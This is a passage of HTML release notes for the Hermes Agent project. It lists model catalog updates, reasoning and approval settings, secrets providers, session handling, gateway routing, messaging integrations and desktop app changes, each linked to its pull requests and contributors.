<li><strong>Claude Sonnet 5 fully wired</strong> — curated lists, intro pricing, and metadata across every route (<a href="https://github.com/NousResearch/hermes-agent/pull/67932" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67932/hovercard">#67932</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Hide providers you don't use</strong> — <code>enabled: false</code> per-provider flag + <code>excluded_providers</code> config scrub unwanted providers from <code>/model</code> pickers and built-in resolution (<a href="https://github.com/NousResearch/hermes-agent/pull/67971" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67971/hovercard">#67971</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Bedrock catalog wave: real context-window probing from the live endpoint, 1M-context rows for current-gen Claude + Fable, geo-prefix parity, versioned profile-ID pricing, Opus 4.8/4.7 rows (<a href="https://github.com/NousResearch/hermes-agent/pull/68007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68007/hovercard">#68007</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67977" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67977/hovercard">#67977</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/68005" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68005/hovercard">#68005</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67976" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67976/hovercard">#67976</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>kimi-k3 rollout completed across Kimi-direct catalog surfaces with 1M context on canonical Kimi Coding endpoints (<a href="https://github.com/NousResearch/hermes-agent/pull/68108" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/68108/hovercard">#68108</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Provider pickers: Qwen providers folded into one group row; collapsible provider groups in the desktop model picker; friendlier TUI model display grouping same-endpoint providers (<a href="https://github.com/NousResearch/hermes-agent/pull/67758" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67758/hovercard">#67758</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67904" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67904/hovercard">#67904</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67908" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67908/hovercard">#67908</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Reasoning &amp; MoA</h3>
<ul>
<li><code>max</code> + <code>ultra</code> effort levels across every surface and route (<a href="https://github.com/NousResearch/hermes-agent/pull/62650" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62650/hovercard">#62650</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Per-model reasoning_effort overrides via a unified resolution chokepoint; per-task auxiliary effort; per-slot MoA preset effort; session-scoped <code>/reasoning</code> in the CLI (<a href="https://github.com/NousResearch/hermes-agent/pull/64458" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64458/hovercard">#64458</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64597" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64597/hovercard">#64597</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64631" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64631/hovercard">#64631</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67946" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67946/hovercard">#67946</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>MoA: <code>reference_max_tokens</code> to cap advisor output and cut latency; per-preset fanout cadence (<code>user_turn</code> runs advisors once per user turn); stale presets surfaced without retries; half-filled preset saves rejected at the API boundary; aggregator resolves reasoning like an acting model (<a href="https://github.com/NousResearch/hermes-agent/pull/56756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56756/hovercard">#56756</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57591" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57591/hovercard">#57591</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64756" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64756/hovercard">#64756</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Delegation, approvals &amp; the agent loop</h3>
<ul>
<li>Live subagent transcripts + durable background completions (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/67479" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67479/hovercard">#67479</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63494" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63494/hovercard">#63494</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Smart approvals default; user-defined deny rules (block even under yolo); <code>/deny &lt;reason&gt;</code> relays the denial reason; plugin <code>pre_tool_call</code> approve action escalates to a human gate (re-landed with rule keys) (<a href="https://github.com/NousResearch/hermes-agent/pull/62661" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62661/hovercard">#62661</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59164" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59164/hovercard">#59164</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/54518" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/54518/hovercard">#54518</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60504" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60504/hovercard">#60504</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
<li>Unified delegation concurrency caps (<code>max_async_children</code> deprecated); explain long provider waits on the live status line; deterministic tool-output risk exposure (<a href="https://github.com/NousResearch/hermes-agent/pull/56955" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56955/hovercard">#56955</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64775" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64775/hovercard">#64775</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61793" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61793/hovercard">#61793</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Codex: live TUI/desktop tool cards for the app-server runtime, commentary streamed as visible interim messages, compaction routed through <code>thread/compact/start</code>, max-output truncation recovery, oversized message ids dropped on replay, banked usage-limit resets via <code>/usage reset</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/66514" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66514/hovercard">#66514</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/66115" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66115/hovercard">#66115</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60114" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60114/hovercard">#60114</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58155" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58155/hovercard">#58155</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62225" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62225/hovercard">#62225</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/JoaoMarcos44/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/JoaoMarcos44">@JoaoMarcos44</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64280" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64280/hovercard">#64280</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Hooks: oversized hook-injected context spills to disk (<a href="https://github.com/NousResearch/hermes-agent/pull/20468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/20468/hovercard">#20468</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Vibe reactions — floating hearts on affection across CLI/TUI/desktop, token-free core detection (<a href="https://github.com/NousResearch/hermes-agent/pull/62016" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62016/hovercard">#62016</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
</ul>
<h3>Secrets &amp; config</h3>
<ul>
<li>Pluggable <code>SecretSource</code> interface + Bitwarden &amp; 1Password providers (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/59498" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59498/hovercard">#59498</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/hwrdprkns/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/hwrdprkns">@hwrdprkns</a>)</li>
<li><code>hermes config get</code> / <code>unset</code>; warn on unknown root config keys + doctor deprecated-key reporting; <code>display.timestamp_format</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/65540" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65540/hovercard">#65540</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67370" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67370/hovercard">#67370</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/40622" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/40622/hovercard">#40622</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Auxiliary model usage recorded per task in session accounting; conversation-scoped Nous Portal usage tags across aux/MoA/delegate calls; <code>--usage-file</code> JSON report for <code>hermes -z</code> (<a href="https://github.com/NousResearch/hermes-agent/pull/65537" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65537/hovercard">#65537</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65468" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65468/hovercard">#65468</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59615" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59615/hovercard">#59615</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
</ul>
<h3>Sessions &amp; compression</h3>
<ul>
<li>Sessions export: Markdown/QMD/HTML/prompt-only/trace formats, HF upload, <code>--redact</code>, unified filters; full prune filter surface + bulk archive; CLI workspace filter + restore-cwd-on-resume (<a href="https://github.com/NousResearch/hermes-agent/pull/60186" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60186/hovercard">#60186</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60492" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60492/hovercard">#60492</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60507" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60507/hovercard">#60507</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59327" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59327/hovercard">#59327</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/63091" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/63091/hovercard">#63091</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/web3blind/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/web3blind">@web3blind</a>)</li>
<li>Compression: preserve human intent and durable handoffs; retain prompt cache when memory is unchanged; flatten multimodal content for the summarizer keeping image handles; gateway compression routing integrity (<a href="https://github.com/NousResearch/hermes-agent/pull/67275" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67275/hovercard">#67275</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67916" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67916/hovercard">#67916</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65046" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65046/hovercard">#65046</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56868" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56868/hovercard">#56868</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Gateway session metadata consolidated into state.db; routing index moved to state.db (sessions.json now an optional legacy mirror); exact API bytes persisted in an <code>api_content</code> sidecar (<a href="https://github.com/NousResearch/hermes-agent/pull/58899" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58899/hovercard">#58899</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59203" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59203/hovercard">#59203</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67274" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67274/hovercard">#67274</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🌐 Gateway, Fleet &amp; Relay</h2>
<ul>
<li><strong>Durable delivery-obligation ledger</strong> for final responses (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/67181" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67181/hovercard">#67181</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li><strong>Profile-based routing for inbound messages</strong> + multiplex hardening wave 2 + <code>GATEWAY_MULTIPLEX_PROFILES</code> override (see Highlights) (<a href="https://github.com/NousResearch/hermes-agent/pull/64835" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64835/hovercard">#64835</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65700" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65700/hovercard">#65700</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60589" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60589/hovercard">#60589</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a> + salvaged contributors)</li>
<li>Per-session turn lease + conversation-scope funnel; unified session reset boundaries (reset sessions stay reset); truthful runtime readiness checks; per-channel model and system prompt overrides; per-session <code>/model</code> overrides persist across restarts (<a href="https://github.com/NousResearch/hermes-agent/pull/67401" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67401/hovercard">#67401</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65783" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65783/hovercard">#65783</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/62645" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62645/hovercard">#62645</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/56967" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/56967/hovercard">#56967</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57030" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57030/hovercard">#57030</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Session auto-reset default off; <code>/sessions search &lt;query&gt;</code>; webhook payload filters + route scripts; platform HTTP event callback routing; configurable long-running status phrases (<a href="https://github.com/NousResearch/hermes-agent/pull/60194" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60194/hovercard">#60194</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57685" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57685/hovercard">#57685</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60944" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60944/hovercard">#60944</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65702" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65702/hovercard">#65702</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/58872" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58872/hovercard">#58872</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Relay: generic OIDC client-credentials provisioning (NAS-free), routed profile carried from the connector wire source, channel context consumed from the connector; Nous auth forensics + <code>nous_session_valid</code> on <code>/api/status</code> for hosted self-heal; Docker re-seeds a terminally-dead Nous bootstrap session on boot (<a href="https://github.com/NousResearch/hermes-agent/pull/60730" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60730/hovercard">#60730</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60586" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60586/hovercard">#60586</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/64649" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/64649/hovercard">#64649</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59976" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59976/hovercard">#59976</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59969" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59969/hovercard">#59969</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/59983" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/59983/hovercard">#59983</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/benbarclay/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/benbarclay">@benbarclay</a>)</li>
</ul>
<h2>📱 Messaging Platforms</h2>
<ul>
<li><strong>Inline choice pickers</strong> for <code>/reasoning</code> and <code>/fast</code> on Telegram, Discord, and Matrix — one-tap native buttons instead of typing (<a href="https://github.com/NousResearch/hermes-agent/pull/65799" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65799/hovercard">#65799</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>WhatsApp: native Baileys polls (clarify renders as a poll), locations, rich inbound metadata; dashboard pairing flow (<a href="https://github.com/NousResearch/hermes-agent/pull/58865" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58865/hovercard">#58865</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60571" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60571/hovercard">#60571</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Discord: recover messages missed during reconnect; auto-created threads renamed to generated session titles; configurable interactive view timeout; opt-in owner mentions on exec-approval prompts; optional admin-only gate for approval buttons (<a href="https://github.com/NousResearch/hermes-agent/pull/66149" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/66149/hovercard">#66149</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60187" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60187/hovercard">#60187</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60230" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60230/hovercard">#60230</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/60493" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60493/hovercard">#60493</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/51751" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/51751/hovercard">#51751</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Slack: live per-tool status line (<a href="https://github.com/NousResearch/hermes-agent/pull/67080" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67080/hovercard">#67080</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, salvaging <a class="issue-link js-issue-link" data-error-text="Failed to load title" data-id="4854171101" data-permission-text="Title is private" data-url="https://github.com/NousResearch/hermes-agent/issues/62007" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/62007/hovercard" href="https://github.com/NousResearch/hermes-agent/pull/62007">#62007</a>)</li>
<li>Telegram: per-topic free-response allowlist; Google Chat clarify prompts rendered as cards (<a href="https://github.com/NousResearch/hermes-agent/pull/65543" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65543/hovercard">#65543</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/65546" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/65546/hovercard">#65546</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>)</li>
<li>Voice: <code>stt.echo_transcripts</code> toggle; MEDIA: captions attached to the media bubble on standalone sends; <code>display.tool_progress: log</code> option (<a href="https://github.com/NousResearch/hermes-agent/pull/58859" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/58859/hovercard">#58859</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/61415" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/61415/hovercard">#61415</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57014" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57014/hovercard">#57014</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/teknium1">@teknium1</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/kshitijk4poor/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/kshitijk4poor">@kshitijk4poor</a>)</li>
</ul>
<h2>🖥️ Hermes Desktop App</h2>
<ul>
<li><strong>Contribution-driven shell on a layout-tree model</strong> — panes, zones, and layouts as data; plugin-scoped i18n locale bundles followed (<a href="https://github.com/NousResearch/hermes-agent/pull/60638" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/60638/hovercard">#60638</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67303" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67303/hovercard">#67303</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>)</li>
<li><strong>Capabilities page</strong> — Skills/Tools/MCP + Hub in one place, with responsive overlay nav; CLI/dashboard parity for skills hub, MCP test/toggle/catalog, maintenance ops, log filters; five UX fixes from live testing (<a href="https://github.com/NousResearch/hermes-agent/pull/57590" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57590/hovercard">#57590</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/57441" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/57441/hovercard">#57441</a>, <a href="https://github.com/NousResearch/hermes-agent/pull/67482" data-hovercard-type="pull_request" data-hovercard-url="/NousResearch/hermes-agent/pull/67482/hovercard">#67482</a> — <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/OutThisLife/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" href="https://github.com/OutThisLife">@OutThisLife</a>, <a class="user-mention notranslate" data-hovercard-type="user" data-hovercard-url="/users/teknium1/hovercard" data-octo-click="hovercard-link-click" data-octo-dimensions="link_type:self" 